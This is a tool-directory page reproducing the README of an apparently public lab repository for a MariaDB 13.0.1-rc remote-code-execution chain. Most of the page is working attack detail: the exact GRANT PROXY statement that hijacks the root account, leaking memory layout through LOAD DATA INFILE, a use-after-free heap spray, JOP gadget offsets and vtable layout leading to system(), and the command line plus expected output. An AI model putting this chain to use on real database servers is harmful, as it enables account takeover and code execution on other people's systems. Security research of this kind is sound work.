Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + JOP chain to system() as uid 999(mysql) on stock Docker image. Found with RAPTOR and raptor-loop-hunt. | Kitploit
Tools/GitHubGitHub/dinosn/mariadb-13-rce-lab
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingPayload DevelopmentDatabase SecurityBinary ExploitationLabs & Practice
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + JOP chain to system() as uid 999(mysql) on stock Docker image. Found with RAPTOR and raptor-loop-hunt.

View Repository
33611 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

MariaDB 13.0.1-rc RCE Lab

Remote code execution on the unmodified, stock MariaDB 13.0.1-rc Docker image as uid 999 (mysql).

Two exploit variants:

VariantFileRequirementsNotes
Pure SQL (recommended)exploit_pure_sql.pya low-priv MariaDB account + TCPno host access, no docker, no /proc/mem, no root password
Host-assisted PoCexploit.pyroot on the Docker hostwrites JOP chain via /proc/<pid>/mem

Tested and proven on: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 runs, each with fresh ASLR bases).

Pure SQL attack model (exploit_pure_sql.py)

The attacker holds only:

  • a USAGE-only MariaDB account (the compose lowpriv user) + its password, and
  • TCP reachability to port 3306.

The whole chain is executed as SQL statements; no host-side process access, no docker commands, no known addresses. Every runtime address is learned from the target itself via SQL:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

The only non-SQL operations left are post-exploit housekeeping: restarting the (already crashed) container and displaying the marker file - they are not part of the exploitation.

Replacing the old host-side helpers

Usage (pure SQL)

root@kitploit:~
# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Requires only a mariadb/mysql client and Python 3. --container is used for the final marker display (restart + cat) and can be dropped if the marker is verified some other way.

Expected tail of output:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Vulnerability chain (both variants)

1. F-09 — Privilege escalation (any user → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' bypasses all privilege checks. The empty authentication clause makes LEX_USER::has_auth() return false (skipping check_alter_user()), while replace_user_table() still applies the empty password — replacing root's credentials. One SQL statement, any authenticated user, every released MariaDB version.

2. ASLR defeat via /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' reads the full memory layout of the mariadbd process from within SQL, revealing the PIE base and libc base addresses. Works with secure_file_priv = NULL (unset) on the stock image.

3. F-05 — SYS_REFCURSOR use-after-free (0day, unfixed upstream)

sp_cursor_array::get_cursor_by_ref() returns an interior pointer into a Dynamic_array whose backing storage is relocated by my_realloc on growth. When a cursor's open() method runs attacker-controlled SQL that opens additional cursors, the array grows, the old storage is freed, and the caller's cached pointer becomes dangling.

The freed chunk (16 cursors x 112 bytes = 1792 bytes) is reclaimed by a heap spray of 128 user-variable copies at 1784 bytes each (exact-fit for the glibc chunk). The spray payload places a controlled vtable pointer at offset 0x20 (the result member of sp_cursor), which is subsequently used for virtual dispatch:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. JOP chain → system()

Two JOP gadgets from the stock mariadbd binary (no ROP, no stack pivot):

GadgetOffsetInstructionPurpose
D2PIE+0x80da77call *0x100(%rax)Stack alignment fix
D1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]

The fake vtable V lives in the 128 MiB buffer; layout:

root@kitploit:~
V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. The pure-SQL address discovery trick (new)

The chicken-and-egg of writing self-referential JOP data before knowing the buffer address is resolved by glibc's mmap behaviour:

  1. allocate a 128 MiB marker buffer → dedicated mmap region (0x8001000, data at region+0x30) → address found via /proc/self/maps diff
  2. re-allocate the buffer with the full layout (self-reference = V+0x140) → glibc munmaps the old chunk and reuses the same slot → address stable
  3. each step is verified by re-reading /proc/self/maps; if the address ever moved, the self-reference is re-baked and the write retried (converges in one iteration in practice)

Host-assisted variant (exploit.py)

Same chain, but the JOP layout is written into the process via /proc/<pid>/mem from the Docker host (root required), the payload script is created via docker exec, and it connects with the root password from the compose file. Kept as a historical PoC; the pure-SQL variant supersedes it.

Notes

  • The F-05 SYS_REFCURSOR UAF is unfixed upstream as of 2026-08-03 (zero commits to sql/sp_cursor.{cc,h} between the 13.0.1 tag and HEAD).
  • The F-09 privilege escalation fix (dbd60d0ad8d, MDEV-40470) is on dev branches but absent from every released version (verified 13.0.1 through 10.6.27).
  • 128 MiB was chosen because glibc's dynamic mmap threshold can grow beyond 4 MiB after large frees; 128 MiB reliably gets a dedicated mmap region (verified 128 and 256 MiB; a larger-than-max_allowed_packet size fails, so SET GLOBAL max_allowed_packet is raised first and a new connection used).
  • Data offset within the mmap region is +0x30 on this image/glibc (verified across runs; update DATA_OFF if it ever differs).

Found with

  • RAPTOR — Autonomous Offensive/Defensive Research Framework
  • raptor-loop-hunt — iterative vulnerability hunt plugin
Download Tool
Old helper (exploit.py)Pure-SQL replacement
docker inspect → PID + host-side /proc/<pid>/mapsLOAD DATA INFILE '/proc/self/maps'
host-side /proc/<pid>/mem writes for the JOP chainlayout embedded via CONCAT/UNHEX at allocation; address from SQL-side maps diff; mmap slot reuse keeps the self-reference valid
docker exec ... echo CMD > /tmp/payload_cmd.shcommand string embedded directly in the JOP layout
mariadb -uroot -plabpass (root password)GRANT PROXY escalation from the low-priv account
docker exec ... cat MARKERonly used for displaying the proof
Load cmd ptr, call system()